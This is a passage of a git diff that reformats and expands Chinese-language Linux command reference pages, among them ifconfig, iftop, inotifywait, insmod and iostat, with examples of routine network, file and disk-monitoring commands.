ip地址:指定IP地址和子网掩码; @@ -23,4 +23,3 @@ Stop:停用指定的网络接口的IP地址。 ``` - \ No newline at end of file diff --git a/command/ifconfig.md b/command/ifconfig.md index 6803089550b..aedc24cf36a 100644 --- a/command/ifconfig.md +++ b/command/ifconfig.md @@ -7,15 +7,15 @@ ifconfig **ifconfig命令** 被用于配置和显示Linux内核中网络接口的网络参数。用ifconfig命令配置的网卡信息,在网卡重启后机器重启后,配置就不存在。要想将上述的配置信息永远的存的电脑里,那就要修改网卡的配置文件了。 -### 语法 +### 语法 -``` +```shell ifconfig(参数) ``` -### 参数 +### 参数 -``` +```shell add<地址>:设置网络设备IPv6的ip地址; del<地址>:删除网络设备IPv6的IP地址; down:关闭指定的网络设备; @@ -36,11 +36,11 @@ IP地址:指定网络设备的IP地址; 网络设备:指定网络设备的名称。 ``` -### 实例 +### 实例 **显示网络设备信息(激活状态的):** -``` +```shell [root@localhost ~]# ifconfig eth0 Link encap:Ethernet HWaddr 00:16:3E:00:1E:51 inet addr:10.160.7.81 Bcast:10.160.15.255 Mask:255.255.240.0 @@ -75,7 +75,7 @@ lo Link encap:Local Loopback **启动关闭指定网卡:** -``` +```shell ifconfig eth0 up ifconfig eth0 down ``` @@ -84,20 +84,20 @@ ifconfig eth0 down **为网卡配置和删除IPv6地址:** -``` +```shell ifconfig eth0 add 33ffe:3240:800:1005::2/64 #为网卡eth0配置IPv6地址 ifconfig eth0 del 33ffe:3240:800:1005::2/64 #为网卡eth0删除IPv6地址 ``` **用ifconfig修改MAC地址:** -``` +```shell ifconfig eth0 hw ether 00:AA:BB:CC:dd:EE ``` **配置IP地址:** -``` +```shell [root@localhost ~]# ifconfig eth0 192.168.2.10 [root@localhost ~]# ifconfig eth0 192.168.2.10 netmask 255.255.255.0 [root@localhost ~]# ifconfig eth0 192.168.2.10 netmask 255.255.255.0 broadcast 192.168.2.255 @@ -105,24 +105,24 @@ ifconfig eth0 hw ether 00:AA:BB:CC:dd:EE **启用和关闭arp协议:** -``` +```shell ifconfig eth0 arp #开启网卡eth0 的arp协议 ifconfig eth0 -arp #关闭网卡eth0 的arp协议 ``` **设置最大传输单元:** -``` +```shell ifconfig eth0 mtu 1500 #设置能通过的最大数据包大小为 1500 bytes ``` **其它实例** -```bash +```shell ifconfig #处于激活状态的网络接口 ifconfig -a #所有配置的网络接口,不论其是否激活 ifconfig eth0 #显示eth0的网卡信息 ``` - + diff --git a/command/ifdown.md b/command/ifdown.md index ee83f1c5342..99ab86a7fe3 100644 --- a/command/ifdown.md +++ b/command/ifdown.md @@ -1,27 +1,26 @@ ifdown === - + 禁用指定的网络接口 ## 补充说明 **ifdown命令** 用于禁用指定的网络接口。 -### 语法 +### 语法 -``` +```shell ifdown(参数) ``` -### 参数 +### 参数 网络接口:要禁用的网络接口。 -### 实例 +### 实例 -``` +```shell ifdown eth0 #禁用eth0 ``` - \ No newline at end of file diff --git a/command/ifstat.md b/command/ifstat.md index 5174b76e1d6..5b4732e8214 100644 --- a/command/ifstat.md +++ b/command/ifstat.md @@ -7,16 +7,16 @@ ifstat **ifstat命令** 就像iostat/vmstat描述其它的系统状况一样,是一个统计网络接口活动状态的工具。ifstat工具系统中并不默认安装,需要自己下载源码包,重新编译安装,使用过程相对比较简单。 -### 下载 +### 下载 -``` +```shell http://gael.roualland.free.fr/ifstat/ (官网) wget http://gael.roualland.free.fr/ifstat/ifstat-1.1.tar.gz ``` -### 编译安装 +### 编译安装 -``` +```shell tar -zxvf ifstat-1.1.tar.gz cd ifstat-1.1 ./configure @@ -26,9 +26,9 @@ make install # 默认会安装到/usr/local/bin/目录中 注释:执行`which ifstat`输出`/usr/local/bin/ifstat` -### 选项 +### 选项 -``` +```shell -l 监测环路网络接口(lo)。缺省情况下,ifstat监测活动的所有非环路网络接口。经使用发现,加上-l参数能监测所有的网络接口的信息,而不是只监测 lo的接口信息,也就是说,加上-l参数比不加-l参数会多一个lo接口的状态信息。 -a 监测能检测到的所有网络接口的状态信息。使用发现,比加上-l参数还多一个plip0的接口信息,搜索一下发现这是并口(网络设备中有一 个叫PLIP (Parallel Line Internet Protocol). 它提供了并口...) -z 隐藏流量是无的接口,例如那些接口虽然启动了但是未用的 @@ -47,11 +47,11 @@ make install # 默认会安装到/usr/local/bin/目录中 -d 指定一个驱动来收集状态信息 ``` -### 实例 +### 实例 默认使用 -``` +```shell [root@localhost ifstat-1.1] #ifstat eth0 eth1 KB/s in KB/s out KB/s in KB/s out @@ -61,7 +61,7 @@ make install # 默认会安装到/usr/local/bin/目录中 默认ifstat不监控回环接口,显示的流量单位是KB。 -``` +```shell [root@localhost ifstat-1.1]# ifstat -tT time eth0 eth1 eth2 eth3 Total HH:MM:ss KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out @@ -74,7 +74,7 @@ HH:MM:ss KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out KB/s in 监控所有网络接口 -``` +```shell [root@localhost ifstat-1.1] # ifstat -a lo eth0 eth1 KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out @@ -83,4 +83,4 @@ HH:MM:ss KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out KB/s in 0.61 0.61 0.26 0.23 0.00 0.00 ``` - + diff --git a/command/iftop.md b/command/iftop.md index d1fb935a53c..0449a3eccbf 100644 --- a/command/iftop.md +++ b/command/iftop.md @@ -7,49 +7,47 @@ iftop **iftop命令** 是一款实时流量监控工具,监控TCP/IP连接等,缺点就是无报表功能。必须以root身份才能运行。 -### 语法 +### 语法 -``` +```shell iftop(选项) ``` -### 选项 +### 选项 -``` -iftop: display bandwidth usage on an interface by host +```shell +iftop: 按主机显示接口带宽使用情况 -Synopsis: iftop -h | [-npblNBP] [-i interface] [-f filter code] +参数: iftop -h | [-npblNBP] [-i interface] [-f filter code] [-F net/mask] [-G net6/mask6] - -h display this message - -n don't do hostname lookups - -N don't convert port numbers to services - -p run in promiscuous mode (show traffic between other - hosts on the same network segment) - -b don't display a bar graph of traffic - -B Display bandwidth in bytes - -i interface listen on named interface + -h 显示帮助信息 + -n 不要讲ip转为主机名 + -N 不要将端口转为对应服务名 + -p 以混杂模式运行(显示同一网段内其他主机之间的流量) + -b 不要展示流量通行条形图 + -B 使用Byte展示流量情况(默认展示的bit) + -i interface 指定需要监听的网络端口 -i eth0 -f filter code use filter code to select packets to count (default: none, but only IP packets are counted) - -F net/mask show traffic flows in/out of IPv4 network - -G net6/mask6 show traffic flows in/out of IPv6 network - -l display and count link-local IPv6 traffic (default: off) - -P show ports as well as hosts - -m limit sets the upper limit for the bandwidth scale - -c config file specifies an alternative configuration file - -t use text interface without ncurses + -F net/mask 展示指定IPV4网络的流量,参数可以是主机名/IP/掩码 + -G net6/mask6 展示指定IPV6网络的流量,参数可以是主机名/IP/掩码 + -l 展示本地网络/回环网络/ipv6流量 (默认值: 关闭) + -P 展示主机端口 + -m limit 设置带宽规模的上限 + -c config file 指定可选配置文件 + -t 使用文本模式展示 Sorting orders: - -o 2s Sort by first column (2s traffic average) - -o 10s Sort by second column (10s traffic average) [default] - -o 40s Sort by third column (40s traffic average) - -o source Sort by source address - -o destination Sort by destination address + -o 2s 按照第一列进行排序 (每2秒的平均值为一个计数周期) + -o 10s 按照第二列进行排序 (每10秒的平均值为一个计数周期] + -o 40s 按照第三列进行排序 (每40秒的平均值为一个计数周期) + -o source 按照原地址继续排序 + -o destination 按照目标地址进行排序 - The following options are only available in combination with -t - -s num print one single text output afer num seconds, then quit - -L num number of lines to print - + 以下选项仅在与 -t + -s num 在num秒后打印一个文本输出,然后退出 + -L num 打印的行数 ``` ### 界面说明 @@ -61,11 +59,9 @@ Synopsis: iftop -h | [-npblNBP] [-i interface] [-f filter code] > 最后三行表示发送,接收和全部的流量, > 第二列为你运行iftop到目前流量,第三列为高峰值,第四列为平均值。 -### 实例 +### 实例 - - -```bash +```shell iftop # 默认是监控第一块网卡的流量 iftop -i eth1 # 监控eth1 iftop -n # 直接显示IP, 不进行DNS反解析 @@ -74,4 +70,4 @@ iftop -F 192.168.1.0/24 or 192.168.1.0/255.255.255.0 # 显示某个网段进出 ``` - + diff --git a/command/ifup.md b/command/ifup.md index beac7352600..e8776f7d2fe 100644 --- a/command/ifup.md +++ b/command/ifup.md @@ -1,27 +1,26 @@ ifup === - + 激活指定的网络接口 ## 补充说明 **ifup命令** 用于激活指定的网络接口。 -### 语法 +### 语法 -``` +```shell ifup(参数) ``` -### 参数 +### 参数 网络接口:要激活的网络接口。 -### 实例 +### 实例 -``` +```shell ifup eth0 #激活eth0 ``` - \ No newline at end of file diff --git a/command/indent.md b/command/indent.md index df93f3f8cf1..d83051551de 100644 --- a/command/indent.md +++ b/command/indent.md @@ -1,23 +1,23 @@ indent === - + 格式化C语言的源文件 ## 补充说明 **indent命令** 可辨识C的原始代码文件,并加以格式化,以方便程序员阅读、修改等操作。 -### 语法 +### 语法 -``` +```shell indent(选项)(源文件) 或 indent(选项)(源文件)(-o 目标文件) ``` -### 选项 +### 选项 -``` +```shell -bad:在声明区加上空白行; -bap:添加空白行; -bbb:在注释后面添加空白行; @@ -73,15 +73,14 @@ indent(选项)(源文件)(-o 目标文件) --version:显示版本信息。 ``` -### 实例 +### 实例 使用indent命令将C语言源文件"test.c"中所有的sizeof后面添加一个空格,输入如下命令: -``` +```shell indent -bs /home/rootlocal/桌面/test.c ``` 执行上面的命令后,用户可以打开指定的源文件查看在sizeof后面是否都添加了一个空格。由于该命令的参数非常多,所以用户可以根据实际需要选择适合的参数进行使用即可。 - \ No newline at end of file diff --git a/command/info.md b/command/info.md index 21bd5d7e2ec..0224e9b7f4f 100644 --- a/command/info.md +++ b/command/info.md @@ -1,6 +1,6 @@ info === - + Linux下info格式的帮助指令 ## 补充说明 @@ -9,36 +9,36 @@ Linux下info格式的帮助指令 就内容来说,info页面比man page编写得要更好、更容易理解,也更友好,但man page使用起来确实要更容易得多。一个man page只有一页,而info页面几乎总是将它们的内容组织成多个区段(称为节点),每个区段也可能包含子区段(称为子节点)。理解这个命令的窍门就是不仅要学习如何在单独的Info页面中浏览导航,还要学习如何在节点和子节点之间切换。可能刚开始会一时很难在info页面的节点之间移动和找到你要的东西,真是具有讽刺意味:原本以为对于新手来说,某个东西比man命令会更好些,但实际上学习和使用起来更困难。 -### 语法 +### 语法 -``` +```shell info(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -d:添加包含info格式帮助文档的目录; -f:指定要读取的info格式的帮助文档; -n:指定首先访问的info帮助文件的节点; -o:输出被选择的节点内容到指定文件。 ``` -### 参数 +### 参数 帮助主题:指定需要获得帮助的主题,可以是指令、函数以及配置文件。 -### 实例 +### 实例 在info后面输入命令的名称就可以查看该命令的info帮助文档了: -``` +```shell info info ``` 面介绍一下它的几个常用快捷键。 -``` +```shell **?键:** 它就会显示info的常用快捷键。 **N键:** 显示(相对于本节点的)下一节点的文档内容。 **P键:** 显示(相对于本节点的)前一节点的文档内容。 @@ -51,9 +51,9 @@ info info **Q:** 退出info。 ``` - **命令** +**命令** -``` +```shell **?** 显示帮助窗口 在帮助窗口中: @@ -72,11 +72,10 @@ info info **Del 键** 上一页(PageUp 也可以,上一页从当前页的开始两行开始算起) 上一个 Node (若当前页 Node 文档的开始) - **b 或 t 或 Home** 文档的开始(b 是 begining 的意思) + **b 或 t 或 Home** 文档的开始(b 是 beginning 的意思) **e 或 End** 文档的末尾(b 是 ending 的意思) **Ctrl-l** 刷新当前页,若当前文档显示情况有问题时 **Ctrl-g** 取消所键入的指令 ``` - \ No newline at end of file diff --git a/command/init.md b/command/init.md index 5a3a96541f0..14a0cabcb08 100644 --- a/command/init.md +++ b/command/init.md @@ -1,30 +1,30 @@ init === - + init进程是所有Linux进程的父进程 ## 补充说明 **init命令** 是Linux下的进程初始化工具,init进程是所有Linux进程的父进程,它的进程号为1。init命令是Linux操作系统中不可缺少的程序之一,init进程是Linux内核引导运行的,是系统中的第一个进程。 -### 语法 +### 语法 -``` +```shell init(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -b:不执行相关脚本而直接进入单用户模式; -s:切换到单用户模式。 ``` -### 参数 +### 参数 运行等级:指定Linux系统要切换到的运行等级。 -### 实例 +### 实例 几个常用的命令 @@ -36,7 +36,7 @@ init(选项)(参数) 到底什么是运行级呢?简单的说,运行级就是操作系统当前正在运行的功能级别。这个级别从0到6 ,具有不同的功能。你也可以在`/etc/inittab`中查看它的英文介绍。 -``` +```shell #0 停机(千万不能把initdefault 设置为0) #1 单用户模式 #2 多用户,没有 NFS(和级别3相似,会停止部分服务) @@ -47,4 +47,3 @@ init(选项)(参数) ``` - \ No newline at end of file diff --git a/command/inotifywait.md b/command/inotifywait.md index 8641fc00864..0592c2c7435 100644 --- a/command/inotifywait.md +++ b/command/inotifywait.md @@ -1,6 +1,6 @@ inotifywait === - + 异步文件系统监控机制 ## 补充说明 @@ -18,21 +18,20 @@ inotifywait 使用`ll /proc/sys/fs/inotify`命令,是否有以下三条信息输出,如果没有表示不支持。 -``` +```shell ll /proc/sys/fs/inotify total 0 -rw-r--r-- 1 root root 0 Jan 4 15:41 max_queued_events -rw-r--r-- 1 root root 0 Jan 4 15:41 max_user_instances -rw-r--r-- 1 root root 0 Jan 4 15:41 max_user_watches - ``` -### 安装inotify-tools +### 安装inotify-tools * inotify-tools项目地址:https://github.com/rvoicilas/inotify-tools * inotify-tools下载地址:http://github.com/downloads/rvoicilas/inotify-tools/inotify-tools-3.14.tar.gz -``` +```shell #CentOS release 5.8/64位: tar zxvf inotify-tools-3.14.tar.gz cd inotify-tools-3.14 @@ -43,7 +42,7 @@ make install 其他Linux发行版安装方法可以参见:https://github.com/rvoicilas/inotify-tools/wiki#wiki-getting -### inotify相关参数 +### inotify相关参数 inotify定义了下列的接口参数,可以用来限制inotify消耗kernel memory的大小。由于这些参数都是内存参数,因此,可以根据应用需求,实时的调节其大小: @@ -53,26 +52,26 @@ inotify定义了下列的接口参数,可以用来限制inotify消耗kernel me 根据以上在32位或者64位系统都可以执行: -``` +```shell echo 104857600 > /proc/sys/fs/inotify/max_user_watches echo 'echo 104857600 > /proc/sys/fs/inotify/max_user_watches' >> /etc/rc.local ``` 如果遇到以下错误: -``` +```shell inotifywait: error while loading shared libraries: libinotifytools.so.0: cannot open shared object file: No such file or directory ``` -``` +```shell **解决方法:** 32位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib/libinotifytools.so.0 64位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib64/libinotifytools.so.0 ``` -### inotifywait命令使用 +### inotifywait命令使用 -``` +```shell #!/bin/bash #filename watchdir.sh path=$1 @@ -96,99 +95,27 @@ path=$1 04/01/13/16:35 /data/wsdata/tools/ j.jsp 04/01/13/16:35 /data/wsdata/tools/ j.jsp~ 04/01/13/16:35 /data/wsdata/tools/ .j.jsp.swp - ``` -### inotifywait命令参数 - -* `-m`是要持续监视变化。 -* `-r`使用递归形式监视目录。 -* `-q`减少冗余信息,只打印出需要的信息。 -* `-e`指定要监视的事件列表。 -* `--timefmt`是指定时间的输出格式。 -* `--format`指定文件变化的详细信息。 - -#### 可监听的事件 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +### inotifywait命令参数 - +* `-m`是要持续监视变化。 +* `-r`使用递归形式监视目录。 +* `-q`减少冗余信息,只打印出需要的信息。 +* `-e`指定要监视的事件列表。 +* `--timefmt`是指定时间的输出格式。 +* `--format`指定文件变化的详细信息。 -
事件描述
access **访问** ,读取文件。
modify **修改** ,文件内容被修改。
attrib **属性** ,文件元数据被修改。
move **移动** ,对文件进行移动操作。
create **创建** ,生成新文件
open **打开** ,对文件进行打开操作。
close **关闭** ,对文件进行关闭操作。
delete **删除** ,文件被删除。
+### 可监听的事件 +事件 | 描述 +--- | --- +access | **访问** ,读取文件。 +modify | **修改** ,文件内容被修改。 +attrib | **属性** ,文件元数据被修改。 +move | **移动** ,对文件进行移动操作。 +create | **创建** ,生成新文件 +open | **打开** ,对文件进行打开操作。 +close | **关闭** ,对文件进行关闭操作。 +delete | **删除** ,文件被删除。 - \ No newline at end of file diff --git a/command/insmod.md b/command/insmod.md index 0af2924f7b3..b00addbe696 100644 --- a/command/insmod.md +++ b/command/insmod.md @@ -1,21 +1,21 @@ insmod === - + 将给定的模块加载到内核中 ## 补充说明 **insmod命令** 用于将给定的模块加载到内核中。Linux有许多功能是通过模块的方式,在需要时才载入kernel。如此可使kernel较为精简,进而提高效率,以及保有较大的弹性。这类可载入的模块,通常是设备驱动程序。 -### 语法 +### 语法 -``` +```shell insmod(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -f:不检查目前kernel版本与模块编译时的kernel版本是否一致,强制将模块载入; -k:将模块设置为自动卸除; -m:输出模块的载入信息; @@ -27,15 +27,15 @@ insmod(选项)(参数) -X:汇出模块所有的外部符号,此为预设置。 ``` -### 参数 +### 参数 内核模块:指定要加载的内核模块文件。 -### 实例 +### 实例 加载RAID1阵列级别模块,如下所示: -``` +```shell [root@localhost boot]# insmod /lib/modules/2.6. 18-8.el5/kernel/drivers/md/raid1.ko @@ -46,4 +46,3 @@ raid1 25153 0 从以上显示结果可知,RAID1模块已加载成功。只是在使用insmod命令加载模块时,需要使用绝对路径方能加载,且加载时无法自动解决依赖关系。 - \ No newline at end of file diff --git a/command/install.md b/command/install.md index e981050a777..f06c969a0f4 100644 --- a/command/install.md +++ b/command/install.md @@ -1,15 +1,15 @@ install === - + 安装或升级软件或备份数据 ## 补充说明 **install命令** 的作用是安装或升级软件或备份数据,它的使用权限是所有用户。install命令和cp命令类似,都可以将文件/目录拷贝到指定的地点。但是,install允许你控制目标文件的属性。install通常用于程序的makefile,使用它来将程序拷贝到目标(安装)目录。 -### 语法 +### 语法 -``` +```shell install [OPTION]... [-T] SOURCE DEST install [OPTION]... SOURCE... DIRECTORY install [OPTION]... -t DIRECTORY SOURCE... @@ -18,9 +18,9 @@ install [OPTION]... -d DIRECTORY... 在前两种格式中,会将<来源>复制至<目的地>或将多个<来源>文件复制至已存在的<目录>,同时设定权限模式及所有者/所属组。在第三种格式中,会创建所有指定的目录及它们的主目录。长选项必须用的参数在使用短选项时也是必须的。 -### 选项 +### 选项 -``` +```shell --backup[=CONTROL]:为每个已存在的目的地文件进行备份。 -b:类似 --backup,但不接受任何参数。 -c:(此选项不作处理)。 @@ -37,21 +37,21 @@ install [OPTION]... -d DIRECTORY... --version:显示版本信息并离开。 ``` -### 实例 +### 实例 -``` +```shell install -d [option] DIRECTORY [DIRECTORY...] ``` 支持多个,类似`mkdir -p`支持递归。例如:`install -d a/b/c e/f`结果和`mkdir -p a/b/c e/f`一样。 -``` +```shell install [option] SOURCE DEST ``` **复制SOURCE文件(测试不能是目录)到DEST file(文件):** -``` +```shell install a/e c 结果类似: cp a/e c #注意c必须是文件。 @@ -59,23 +59,22 @@ cp a/e c #注意c必须是文件。 **有用选项`-D`:** -``` +```shell install -D x a/b/c 效果类似: mkdir -p a/b && cp x a/b/c ``` -``` +```shell install [option] SOURCE [SOURCE...] DIRECTORY ``` **复制多个SOURCE文件到目的目录:** -``` +```shell install a/* d ``` 其中d是目录。 - \ No newline at end of file diff --git a/command/iostat.md b/command/iostat.md index 3d5683ebccf..b90088c5248 100644 --- a/command/iostat.md +++ b/command/iostat.md @@ -1,185 +1,184 @@ iostat === - + 监视系统输入输出设备和CPU的使用情况 ## 补充说明 **iostat命令** 被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况,同时也会汇报出CPU使用情况。同vmstat一样,iostat也有一个弱点,就是它不能对某个进程进行深入分析,仅对系统的整体情况进行分析。 -### 语法 +iowait 指在一个采样周期内有百分之几的时间是属于以下情况:CPU处于空闲状态并且至少有一个未完成的磁盘IO请求。 -``` -iostat(选项)(参数) -``` +## 安装 iostat -### 选项 +iostat包含在**sysstat**包内。如果你没有,你首先需要安装它。 +在 RedHat / CentOS / Fedora +```bash +yum install sysstat ``` --c:仅显示CPU使用情况; --d:仅显示设备利用率; --k:显示状态以千字节每秒为单位,而不使用块每秒; --m:显示状态以兆字节每秒为单位; --p:仅显示块设备和所有被使用的其他分区的状态; --t:显示每个报告产生时的时间; --V:显示版号并退出; --x:显示扩展状态。 -``` - -### 参数 -* 间隔时间:每次报告的间隔时间(秒); -* 次数:显示报告的次数。 +在 Debian / Ubuntu / Linux Mint -### 实例 - -用`iostat -x /dev/sda1`来观看磁盘I/O的详细情况: - -``` -iostat -x /dev/sda1 -Linux 2.6.18-164.el5xen (localhost.localdomain) -2010年03月26日 - -avg-cpu: %user %nice %system %iowait -%steal %idle - 0.11 0.02 0.18 0.35 -0.03 99.31 - -Device: tps Blk_read/s Blk_wrtn/s -Blk_read Blk_wrtn -sda1 0.02 0.08 -0.00 2014 4 +```bash +sudo apt-get install sysstat ``` -详细说明:第二行是系统信息和监测时间,第三行和第四行显示CPU使用情况(具体内容和mpstat命令相同)。这里主要关注后面I/O输出的信息,如下所示: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +## 语法 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +```bash +iostat(选项)(参数) +``` - +### 选项 - +```bash +# iostat --help +Usage: iostat [ options ] [ [ ] ] +Options are: +[ -c ] [ -d ] [ -h ] [ -k | -m ] [ -N ] [ -s ] [ -t ] [ -V ] [ -x ] [ -y ] [ -z ] +[ -j { ID | LABEL | PATH | UUID | ... } ] [ --human ] [ -o JSON ] +[ [ -H ] -g ] [ -p [ [,...] | ALL ] ] +``` - +参数说明: +``` +-c 输出CPU统计信息。不能与-d参数同时使用。 +-d 输出设备和分区的I/O统计信息。不能与-c参数同时使用。(默认的参数是-d)。 +-h 让人类更容易阅读设备使用情况报告。--human使用此选项隐式启用。 +-k 用“kbytes/秒”代替“块/秒”显示统计信息。 +-m 用“mbytes/秒”代替“块/秒”显示统计信息。 +-t 打印显示的每份报告的时间。 +-V 显示版本号并退出。 +-x 显示扩展统计信息。不能与参数-p同时使用。 +-y 如果在给定时间间隔内显示多条记录,则省略自系统启动以来的第一份统计报告。 +-z 告诉 iostat 忽略在样本期间没有活动的设备的输出。 +-j 显示持久的设备名称。选项ID、LABEL等指定持久名称的类型。 +--human 以人类可读格式打印大小(例如1.0k, 1.2M等)。使用此选项显示的单位取代与度量相关的任何其他默认单位(例如千字节,扇区…)。 +-o 以JSON (Javascript Object Notation)格式显示统计数据。JSON输出字段顺序未定义,未来可能会添加新字段。 +-H 该选项必须与-g一起使用,表示只显示组的全局统计信息,而不显示组中单个设备的统计信息。 +-p 选项显示系统使用的块设备及其所有分区的统计信息。如果在命令行中输入一个设备名,那么将显示该设备及其所有分区的统计信息。最后,ALL关键字表示必须显示系统定义的所有块设备和分区的统计信息,包括那些从未使用过的设备和分区。如果在此选项之前定义了选项-j,则可以使用所选的持久名称类型指定在命令行上输入的设备。 +``` - +### 参数 - +interval 刷新时间间隔 +count 刷新次数 - +## 运行示例 - +### 示例1 - +```bash +# iostat +Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU) - +avg-cpu: %user %nice %system %iowait %steal %idle + 3.30 0.01 1.90 0.12 0.00 94.68 - +Device tps kB_read/s kB_wrtn/s kB_read kB_wrtn +vda 7.85 84.22 36.59 1081853831 470049100 - +``` - +第一部分包含了CPU报告 - +| 性能指标 | 含义 | +| --- | --- | +| %user | 显示在用户级(应用程序)执行时发生的CPU利用率百分比。 | +| %nice | 显示在具有nice优先级的用户级别执行时发生的CPU利用率百分比。 | +| %system | 显示在系统级(内核)执行时发生的CPU利用率百分比。 | +| %iowait | 显示在系统有未完成的磁盘I/O请求期间CPU空闲的时间百分比。 | +| %steal | 显示虚拟机监控程序为另一个虚拟处理器提供服务时,一个或多个虚拟CPU在非自愿等待上花费的时间百分比。 | +| %idle | 显示CPU空闲且系统没有未完成的磁盘I/O请求的时间百分比。 | - +第二部分包含了设备利用率报告 - +| 性能指标 | 含义 | +| --- | --- | +| Device | 此列给出了 /dev 目录中列出的设备(或分区)名称。 | +| tps | 表示每秒向设备发出的传输次数。传输是对设备的 I/O 请求。多个逻辑请求可合并为对设备的一个 I/O 请求。传输大小不确定。 | +| kB_read/s | 表示每秒从设备读取的数据量,以块数(千字节、兆字节)表示。块相当于扇区,因此大小为 512 字节。 | +| kB_wrtn/s | 表示写入设备的数据量,以每秒块数(千字节、兆字节)表示。 | +| kB_read | 读取的数据块总数(千字节、兆字节)。 | +| kB_wrtn | 写入的数据块总数(千字节、兆字节)。 | - +### 示例2 - +以更友好的显示方式显示 IO 信息,使用`-y`忽略第一份统计。并每隔 1 秒重新一次,共5次。 - +```bash +# iostat -hdy 1 5 +Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU) - + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 64.00 288.0k 308.0k 288.0k 308.0k vda - + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 12.00 0.0k 84.0k 0.0k 84.0k vda - + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 15.00 0.0k 36.0k 0.0k 36.0k vda - + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 28.00 0.0k 76.0k 0.0k 76.0k vda - + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 11.00 0.0k 100.0k 0.0k 100.0k vda - +``` - +### 示例3 - +```bash +# iostat -xd 1 +Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU) - +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 4.64 3.21 84.14 36.59 0.28 1.07 5.64 25.01 5.86 8.23 0.05 18.12 11.41 0.44 0.34 - +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 1.00 0.00 4.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 4.00 0.00 2.00 0.20 - +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 0.00 37.00 0.00 395.50 0.00 10.00 0.00 21.28 0.00 0.92 0.03 0.00 10.69 0.11 0.40 - +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 - +Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -
标示说明
Device监测设备名称
rrqm/s每秒需要读取需求的数量
wrqm/s每秒需要写入需求的数量
r/s 每秒实际读取需求的数量
w/s每秒实际写入需求的数量
rsec/s每秒读取区段的数量
wsec/s每秒写入区段的数量
rkB/s每秒实际读取的大小,单位为KB
wkB/s每秒实际写入的大小,单位为KB
avgrq-sz需求的平均大小区段
avgqu-sz需求的平均队列长度
await等待I/O平均的时间(milliseconds)
svctmI/O需求完成的平均时间
%util被I/O需求消耗的CPU百分比
+Device r/s w/s rkB/s wkB/s rrqm/s wrqm/s %rrqm %wrqm r_await w_await aqu-sz rareq-sz wareq-sz svctm %util +vda 1.00 0.00 4.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 4.00 0.00 1.00 0.10 +``` - \ No newline at end of file +从这里你可以看到,iostat 提供了非常丰富的性能指标。第一列的 Device 表示磁盘设备的名字,其他各列指标,虽然数量较多,但是每个指标的含义都很重要。 + +| 性能指标 | 含义 | +| --- | --- | +| r/s | 设备每秒完成的读取请求数(合并后)。 | +| w/s | 设备每秒完成的写入请求数(合并后)。 | +| rkB/s | 每秒从设备读取的扇区数(千字节、兆字节)。 | +| wkB/s | 每秒写入设备的扇区数(千字节、兆字节)。 | +| rrqm/s | 每秒合并到设备的排队 I/O 请求数。 | +| wrqm/s | 每秒合并到设备的写入请求数。 | +| %rrqm | 在发送到设备之前合并在一起的读取请求的百分比。 | +| %wrqm | 发送到设备前合并在一起的写入请求的百分比。 | +| r_await | 向设备发出的读取请求获得服务的平均时间(毫秒)。这包括请求在队列中花费的时间和为请求提供服务的时间。 | +| w_await | 向待服务设备发出写入请求的平均时间(毫秒)。这包括请求在队列中花费的时间和为请求提供服务的时间。 | +| aqu-sz | 向设备发出的请求的平均队列长度。注意:在以前的版本中,该字段被称为 avgqu-sz。 | +| rareq-sz | 向设备发出的读取请求的平均大小(千字节)。 | +| wareq-sz | 向设备发出的写入请求的平均大小(千字节)。 | +| svctm | 向设备发出的 I/O 请求的平均服务时间(毫秒)。警告!不要再相信这个字段了。 未来的 sysstat 版本将删除此字段。 | +| %util | 向设备发出 I/O 请求所用时间的百分比(设备带宽利用率)。 对于串行服务请求的设备,当该值接近 100%,设备就会饱和。 但对于以并行方式提供请求的设备,如 RAID 阵列和现代固态硬盘,该数值并不能反映其性能极限。 | + +当 %iowait 升高,需要重点关注以下指标: + +- avgrq-sz: 向设备发出请求的平均大小(单位:扇区) +- avgqu-sz: 向设备发出请求的队列平均长度。也是个做 IO 调优时需要注意的地方,这个就是直接每次操作的数据的大小,如果次数多,但数据拿的小的话,其实 IO 也会很小.如果数据拿的大,IO 的数据会高 +- r_await: 